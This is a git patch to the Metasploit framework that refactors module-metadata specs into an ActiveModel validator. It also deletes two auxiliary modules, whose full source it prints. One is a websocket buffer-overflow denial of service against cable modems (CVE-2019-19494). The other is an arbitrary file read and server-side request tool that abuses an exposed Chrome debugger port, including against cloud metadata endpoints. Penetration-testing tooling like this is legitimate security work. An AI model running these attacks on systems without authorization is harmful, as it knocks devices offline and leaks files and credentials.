From 769e2e760c378acc40938ee03f14813d5ae26088 Mon Sep 17 00:00:00 2001 From: cgranleese-r7 Date: Tue, 28 Mar 2023 12:28:09 +0100 Subject: [PATCH] stop point --- .../dos/http/cable_haunt_websocket_dos.rb | 132 -------- modules/auxiliary/gather/chrome_debugger.rb | 132 -------- spec/modules_spec.rb | 6 +- .../examples/a_module_with_valid_metadata.rb | 295 +++++++++--------- ...es_with_module_type_can_be_instantiated.rb | 20 +- 5 files changed, 156 insertions(+), 429 deletions(-) delete mode 100644 modules/auxiliary/dos/http/cable_haunt_websocket_dos.rb delete mode 100644 modules/auxiliary/gather/chrome_debugger.rb diff --git a/modules/auxiliary/dos/http/cable_haunt_websocket_dos.rb b/modules/auxiliary/dos/http/cable_haunt_websocket_dos.rb deleted file mode 100644 index 02ad00b403..0000000000 --- a/modules/auxiliary/dos/http/cable_haunt_websocket_dos.rb +++ /dev/null @@ -1,132 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'eventmachine' -require 'faye/websocket' - -class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => '"Cablehaunt" Cable Modem WebSocket DoS', - 'Description' => %q{ - There exists a buffer overflow vulnerability in certain - Cable Modem Spectrum Analyzer interfaces. This overflow - is exploitable, but since an exploit would differ between - every make, model, and firmware version (which also - differs from ISP to ISP), this module simply causes a - Denial of Service to test if the vulnerability is present. - }, - 'Author' => [ - 'Alexander Dalsgaard Krog (Lyrebirds)', # Original research, discovery, and PoC - 'Jens Hegner Stærmose (Lyrebirds)', # Original research, discovery, and PoC - 'Kasper Kohsel Terndrup (Lyrebirds)', # Original research, discovery, and PoC - 'Simon Vandel Sillesen (Independent)', # Original research, discovery, and PoC - 'Nicholas Starke' # msf module - ], - 'References' => [ - ['CVE', '2019-19494'], - ['EDB', '47936'], - ['URL', 'https://cablehaunt.com/'], - ['URL', 'https://github.com/Lyrebirds/sagemcom-fast-3890-exploit'] - ], - 'DisclosureDate' => '2020-01-07', - 'License' => MSF_LICENSE, - 'Notes' => { - 'Stability' => [CRASH_SERVICE_DOWN], - 'SideEffects' => [IOC_IN_LOGS], - 'Reliability' => [] - } - ) - ) - - register_options( - [ - Opt::RHOST('192.168.100.1'), - Opt::RPORT(8080), - OptString.new('WS_USERNAME', [true, 'WebSocket connection basic auth username', 'admin']), - OptString.new('WS_PASSWORD', [true, 'WebSocket connection basic auth password', 'password']), - OptInt.new('TIMEOUT', [true, 'Time to wait for response', 15]) - ] - ) - - deregister_options('Proxies') - deregister_options('VHOST') - deregister_options('SSL') - end - - def run - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/', - 'authorization' => basic_auth(datastore['WS_USERNAME'], datastore['WS_PASSWORD']) - }) - - fail_with(Failure::Unreachable, 'Cannot Connect to Cable Modem Spectrum Analyzer Web Service') if res.nil? - fail_with(Failure::Unknown, 'Credentials were incorrect') if res.code != 200 - - @succeeded = false - EM.run do - print_status("Attempting Connection to #{datastore['RHOST']}") - - driver = Faye::WebSocket::Client.new("ws://#{datastore['RHOST']}:#{datastore['RPORT']}/Frontend", ['rpc-frontend']) - - driver.on :open do - print_status('Opened connection') - - EM::Timer.new(1) do - print_status('Sending payload') - payload = Rex::Text.rand_text_alphanumeric(7000..8000) - driver.send({ - jsonrpc: '2.0', - method: 'Frontend::GetFrontendSpectrumData', - params: { - coreID: 0, - fStartHz: payload, - fStopHz: 1000000000, - fftSize: 1024, - gain: 1 - }, - id: '0' - }.to_json) - rescue StandardError - fail_with(Failure::Unreachable, 'Could not establish websocket connection') - end - end - - EM::Timer.new(10) do - print_status('Checking Modem Status') - begin - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/' - }) - - if res.nil? - @succeeded = true - print_status('Cable Modem unreachable') - else - fail_with(Failure::Unknown, 'Host still reachable') - end - rescue StandardError - @succeeded = true - print_status('Cable Modem unreachable') - end - end - - EM::Timer.new(datastore['TIMEOUT']) do - EventMachine.stop - if @succeeded - print_good('Exploit delivered and cable modem unreachable.') - else - fail_with(Failure::Unknown, 'Unknown failure occurred') - end - end - end - end -end diff --git a/modules/auxiliary/gather/chrome_debugger.rb b/modules/auxiliary/gather/chrome_debugger.rb deleted file mode 100644 index abf12bd561..0000000000 --- a/modules/auxiliary/gather/chrome_debugger.rb +++ /dev/null @@ -1,132 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'eventmachine' -require 'faye/websocket' - -class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request', - 'Description' => %q{ - This module uses the Chrome Debugger's API to read - files off the remote file system, or to make web requests - from a remote machine. Useful for cloud metadata endpoints! - }, - 'Author' => [ - 'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module - 'Nicholas Starke (The King Pig Demon)' # msf module - ], - 'DisclosureDate' => '2019-09-24', - 'License' => MSF_LICENSE, - 'Notes' => { - 'Stability' => [], - 'SideEffects' => [], - 'Reliability' => [] - } - ) - ) - - register_options( - [ - Opt::RPORT(9222), - OptString.new('FILEPATH', [false, 'File to fetch from remote machine.']), - OptString.new('URL', [false, 'Url to fetch from remote machine.']), - OptInt.new('TIMEOUT', [true, 'Time to wait for response', 10]) - ] - ) - - deregister_options('Proxies') - deregister_options('VHOST') - deregister_options('SSL') - end - - def run - if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?) - print_error('Must set FilePath or Url') - return - end - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/json' - }) - - if res.nil? - print_error('Bad Response') - return - end - - data = JSON.parse(res.body).pop - EM.run do - file_path = datastore['FILEPATH'] - url = datastore['URL'] - - if file_path - fetch_uri = "file://#{file_path}" - else - fetch_uri = url - end - - print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}") - - unless data.key?('webSocketDebuggerUrl') - fail_with(Failure::Unknown, 'Invalid JSON') - end - - driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl']) - - driver.on :open do - print_status('Opened connection') - id = rand(1024 * 1024 * 1024) - - @succeeded = false - - EM::Timer.new(1) do - print_status("Attempting to load url #{fetch_uri}") - driver.send({ - 'id' => id, - 'method' => 'Page.navigate', - 'params' => { - url: fetch_uri - } - }.to_json) - end - - EM::Timer.new(3) do - print_status('Sending request for data') - driver.send({ - 'id' => id + 1, - 'method' => 'Runtime.evaluate', - 'params' => { - 'expression' => 'document.documentElement.outerHTML' - } - }.to_json) - end - end - - driver.on :message do |event| - print_status('Received Data') - - data = JSON.parse(event.data) - - if data['result']['result'] - loot_path = store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger') - print_good("Stored #{fetch_uri} at #{loot_path}") - @succeeded = true - end - end - - EM::Timer.new(datastore['TIMEOUT']) do - EventMachine.stop - fail_with(Failure::Unknown, 'Unknown failure occurred') unless @succeeded - end - end - end -end diff --git a/spec/modules_spec.rb b/spec/modules_spec.rb index e9331cabaf..c5ba65bb48 100644 --- a/spec/modules_spec.rb +++ b/spec/modules_spec.rb @@ -27,4 +27,8 @@ RSpec.describe 'modules', :content do module_type: 'post', modules_pathname: modules_pathname, type_directory: 'posts' -end \ No newline at end of file + it_should_behave_like 'all modules with module type can be instantiated', + module_type: 'payload', + modules_pathname: modules_pathname, + type_directory: 'payload' +end diff --git a/spec/support/shared/examples/a_module_with_valid_metadata.rb b/spec/support/shared/examples/a_module_with_valid_metadata.rb index 5bc3f9bcf4..b79a92b58b 100644 --- a/spec/support/shared/examples/a_module_with_valid_metadata.rb +++ b/spec/support/shared/examples/a_module_with_valid_metadata.rb @@ -1,4 +1,23 @@ -RSpec.shared_examples_for 'a module with valid metadata' do +require 'active_model' + +# class IsAnArray < ActiveModel::Validator +# def validate(mod) +# unless mod.author.is_a?(Array) +# mod.errors.add :author, 'must be an array' +# end +# end +# end + +class ModuleValidator < SimpleDelegator + include ActiveModel::Validations + + attr_reader :mod + + def initialize(mod) + super + @mod = mod + end + # # Acceptable Stability ratings # @@ -59,184 +78,164 @@ RSpec.shared_examples_for 'a module with valid metadata' do 'OVE' ] - # - # Module name bad characters - # - module_name_bad_chars = %w[& < = >] - - # RSpec's API doesn't support a way to to not run tests without them appearing as 'skipped' in the console output - def mark_as_passed(example) - example.instance_variable_set(:@executed, true) - end - - around(:each, :has_notes) do |example| - if subject.notes.empty? - mark_as_passed(example) - else - example.run + def validate_excellent_ranking + if rank_to_s == 'excellent' && !stability.include?('crash-safe') + errors.add :stability, 'module must have CRASH_SAFE stability value if module has an ExcellentRanking' end end - around(:each, :has_excellent_ranking) do |example| - if subject.rank_to_s == 'excellent' - example.run - else - mark_as_passed(example) + def validate_authors + unless author.is_a?(Array) + errors.add :author, 'module authors must be an array' end end - around(:each, :is_an_exploit) do |example| - # Only exploits require notes - if subject.exploit? - example.run - else - mark_as_passed(example) + def validate_references + unless references.is_a?(Array) + errors.add :references, 'module references must be an array' end end - around(:each, :is_a_payload) do |example| - # Only exploits require notes - if subject.payload? - example.run - else - mark_as_passed(example) + def validate_description + unless description.is_a?(String) + errors.add :description, 'module description must be a string' end end - - context 'when notes are present', :has_notes do - describe '#stability' do - context 'when the module has an excellent stability rating', :has_excellent_ranking do - it 'has valid Stability notes values' do - expect(subject.stability).to be_kind_of(Array) - expect(subject.stability - valid_stability_values).to be_empty - end - - it 'includes crash-safe in the stability notes' do - expect(subject.stability).to include('crash-safe') - end - end - end - - describe '#side_effects' do - it 'has valid Side Effect notes values' do - expect(subject.side_effects).to be_kind_of(Array) - expect(subject.side_effects - valid_side_effect_values).to be_empty - end - end - - describe '#reliability' do - it 'has valid Reliability notes values' do - expect(subject.reliability).to be_kind_of(Array) - expect(subject.reliability - valid_reliability_values).to be_empty - end + def validate_stability + unless stability.is_a?(Array) + errors.add :stability, 'module stability must be an array' end end - describe '#references' do - context 'the module' do - it 'has valid References values' do - expect(subject.references).to be_kind_of(Array) - references_ctx_id_list = [] - subject.references.each { |ref| references_ctx_id_list << ref.ctx_id } - expect(references_ctx_id_list - valid_ctx_id_values).to be_empty - end - - # it 'has a CVE present', :is_an_exploit do - # references_ctx_id_list = [] - # required_references = %w[CVE BID ZDI MSB WPVDB EDB] - # subject.references.each { |ref| references_ctx_id_list << ref.ctx_id } - # - # # if !references_ctx_id_list.include?(acceptable_refs) - # # $stderr.puts subject.file_path - # # end - # - # expect(references_ctx_id_list & required_references).to_not be_empty - # end + def validate_side_effects + unless side_effects.is_a?(Array) + errors.add :side_effects, 'module side effects must be an array' end end - describe '#license' do - context 'the module' do - it 'has a valid license value' do - expect(subject.license).to be_in(LICENSES) - end + def validate_reliability + unless reliability.is_a?(Array) + errors.add :reliability, 'module reliability must be an array' end end - describe '#ranking' do - context 'when the module has a ranking present' do - it 'has a valid ranking value' do - expect(subject.rank).to be_in(Msf::RankingName.keys) - end - end + def requires_author? + # + # Module types that require authors + # + requires_authors = %w[exploits auxiliary post] + requires_authors.include?(type) end - describe '#authors' do - context 'the module' do - it 'has valid authors values' do - expect(subject.references).to be_kind_of(Array) - expect(subject.author).to_not be_empty - end - end + def payload? + type == 'payload' end - describe '#name' do - context 'the module name' do - it ' should not contain bad characters' do - expect(subject.name).to_not include(*module_name_bad_chars) - end - end + def has_notes? + !notes.empty? end - describe '#file_path' do - context 'when the module has a file path' do - let(:module_path) do - subject.file_path.split('/').last - end + validates :mod, presence: true - it 'should be snake case' do - expect(module_path).to match(/^[a-z0-9]+(?:_[a-z0-9]+)*\.rb$/) - end + with_options if: :has_notes? do |mod| + mod.validates :stability, + presence: true, + if: :validate_excellent_ranking - # Not sure if this is needed as it is caught in the above regex. - # Will leave here for now as I am attempting to replicate `msftidy.rb` which - # may be allowing for edges I haven't considered - it "should a '.rb' file" do - expect(module_path).to end_with('.rb') - end - end + mod.validates :stability, + inclusion: { in: valid_stability_values, message: 'must include a valid stability value' }, + if: :validate_stability + + mod.validates :side_effects, + inclusion: { in: valid_side_effect_values, message: 'must include a valid side effect value' }, + if: :validate_side_effects + + mod.validates :reliability, + inclusion: { in: valid_reliability_values, message: 'must include a valid reliability value' }, + if: :validate_reliability end - # ## TODO - Need to figure out if this can be moved from `msfidy.rb` or not - # describe '#disclosure_date' do - # context 'the module' do - # it 'has a disclosure date present', :is_an_exploit do - # expect(subject.disclosure_date).to be_kind_of(Date) - # end - # end - # end + validates :references, + presence: true, + inclusion: { in: valid_ctx_id_values, message: 'must include a valid reference' }, + if: :validate_references - describe '#description' do - context 'the module' do - it 'has a description present', :is_a_payload do - expect(subject.description).to be_kind_of(String) - expect(subject.description).to_not be_empty - end - end - end + validates :license, + presence: true, + inclusion: { in: LICENSES, message: 'must include a valid license' } - ## TODO - As of 21/03/2023 - # 3534 examples, 1857 failures - # describe '#notes' do - # context 'the module' do - # it 'has notes present', focus: true do - # # Only exploits require notes - # next unless subject.exploit? - # - # # expect(subject.notes).to be_kind_of(Hash) - # expect(subject.notes).to_not be_empty - # end - # end - # end + validates :rank, + presence: true, + inclusion: { in: Msf::RankingName.keys, message: 'must include a valid ranking' } + + # validates :author_to_s, # TODO: Bad error message + # format: { with: /\A[^@.]+\z/, message: 'must not include Twitter handles, please. Try leaving it in a comment instead.'} + + validates :author, + presence: true, + if: :requires_author? && :validate_authors + + validates :name, + presence: true, + format: { with: /\A[^&<>]+\z/, message: 'must not contain the characters ^&<>' } + + validates :file_path, + presence: true, + if: -> { file_path.split('/').last.match(/^[a-z0-9]+(?:_[a-z0-9]+)*\.rb$/) } + + validates :description, + presence: true, + if: :validate_description, + unless: :payload? +end + +RSpec.shared_examples_for 'a module with valid metadata' do + + # def get_reference_ctx_id + # references_ctx_id_list = [] + # subject.references.each { |ref| references_ctx_id_list << ref.ctx_id } + # + # references_ctx_id_list + # end + + # let(:mod) do + # framework = instance_double(Msf::Framework) + # instance_double( + # Msf::Exploit, + # framework: framework, + # name: 'Testing bad chars', + # author: ['Foobar'], # TODO: Only exploits, auxiliary and post require authors + # license: MSF_LICENSE, + # references: ['CVE'], # TODO: Needs to access the keys and compare + # rank_to_s: 'excellent', + # rank: 600, + # notes: {}, + # stability: ['crash-safe'], + # side_effects: ['artifacts-on-disk'], + # reliability: ['first-attempt-fail'], + # file_path: 'modules/exploits/windows/smb/cve_2020_0796_smbghost.rb', + # description: %q{ + # A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to + # execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code + # in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation + # can take a few minutes as the necessary data is gathered. + # } + # ) + # end + + it 'verifies modules metadata' do + + # aggregate_failures do + + # Verify we have a instance of the module + expect(subject).to_not be_nil + + validator = ModuleValidator.new(subject) + + validator.validate + # expect(validator).to be_valid + expect(validator.errors.full_messages).to be_kind_of(Array) + # end + end end diff --git a/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb b/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb index 65a3a2045b..12e76f3076 100644 --- a/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb +++ b/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb @@ -23,29 +23,17 @@ RSpec.shared_examples_for 'all modules with module type can be instantiated' do module_reference_pathname = module_pathname.relative_path_from(type_pathname) module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '') - context module_reference_name do - def framework - @framework ||= Msf::Simple::Framework.create( - 'ConfigDirectory' => Rails.application.paths['modules'].expanded.first, - 'DeferModuleLoads' => true - ) - end + # next unless module_reference_name.include?('windows/smb/cve_2020_0796_smbghost') - before(:all) do - @module = load_and_create_module( + context module_reference_name do + subject do + load_and_create_module( module_type: module_type, modules_path: modules_path, reference_name: module_reference_name ) end - subject { @module } - - it 'can be instantiated' do - expect { subject }.to_not raise_exception - expect(subject).to_not be_nil - end - it_behaves_like 'a module with valid metadata' end end